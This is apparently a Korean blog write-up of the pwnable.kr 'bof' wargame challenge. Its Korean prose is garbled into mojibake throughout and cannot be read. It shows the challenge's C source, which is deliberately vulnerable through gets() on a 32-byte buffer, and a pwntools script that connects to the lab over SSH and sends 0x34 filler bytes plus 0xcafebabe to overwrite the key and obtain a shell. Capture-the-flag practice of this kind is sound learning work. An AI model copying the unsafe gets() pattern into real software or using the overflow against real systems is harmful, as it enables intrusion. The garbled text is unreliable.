wargame ๐Ÿด‍โ˜ ๏ธ write-up/pwnable.kr

bof

Kortsec1 2025. 5. 3. 00:25

0x01 ๋ฌธ์ œ ์„ค๋ช…

bof๋ฌธ์ œ๋‹ค.


0x02 ํ’€์ด ๊ณผ์ •

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        setregid(getegid(), getegid());
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

overflowme ๋ณ€์ˆ˜์˜ ํฌ๊ธฐ๋Š” 32byte์ง€๋งŒ, getsํ•จ์ˆ˜๋Š” ๊ทธ ์ด์ƒ๋ฐ›์„ ์ˆ˜ ์žˆ์–ด ํ•ด๋‹น ๋ถ€๋ถ„์—์„œ Buffer OverFlow ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. func ํ•จ์ˆ˜์—์„œ ์ด๋ฏธ ์ •ํ•ด์ง„(0xdeadbeef) ํ‚ค๊ฐ’์„ 0xcafebabe๋กœ ๋ฐ”๊พธ๋ฉด ์‰˜์ด ์‹คํ–‰๋˜๋Š” ๊ตฌ์กฐ๋‹ค.

overflowme ๋ณ€์ˆ˜๋Š” ebp-0x2c ์œ„์น˜์—, ์šฐ๋ฆฌ๊ฐ€ ๋ฎ์–ด์•ผ ํ•  key(argv[1])๋Š” ebp+0x8์— ์œ„์น˜ํ•ด ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” ์ž…๋ ฅ๊ฐ’์œผ๋กœ dummy(0x34 bytes) + “cafebabe” ๋ฅผ ๋ณด๋‚ด์ฃผ๋ฉด ๋ฌธ์ œ๊ฐ€ ํ•ด๊ฒฐ๋œ๋‹ค.

pwntools๋ฅผ ์ด์šฉํ•ด payload๋ฅผ ๋ณด๋‚ด๋ณธ ๊ฒฐ๊ณผ ์ž˜ ๋™์ž‘ํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

from pwn import *

s = ssh("bof", "pwnable.kr", port=2222, password="guest")
p = s.run("/bin/sh")
# p = process("./bof")

p.sendline("nc 0 9000")

pay = b"A" * 0x34 + p32(0xcafebabe)
p.sendline(pay)
p.interactive()

0x03 ๊ฒฐ๊ณผ ํ™•์ธ


0x04 ํšŒ๊ณ  ๋ฐ ์ฐธ๊ณ  ๋‚ด์šฉ

bof์— ๋Œ€ํ•œ ๊ธฐ๋ณธ์ ์ธ ์ง€์‹๋งŒ ์žˆ๋‹ค๋ฉด ์‰ฝ๊ฒŒ ํ•ด๊ฒฐ ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ์˜€๋‹ค.

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > pwnable.kr' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

collision  (0) 2025.05.02
1. fd  (0) 2022.02.15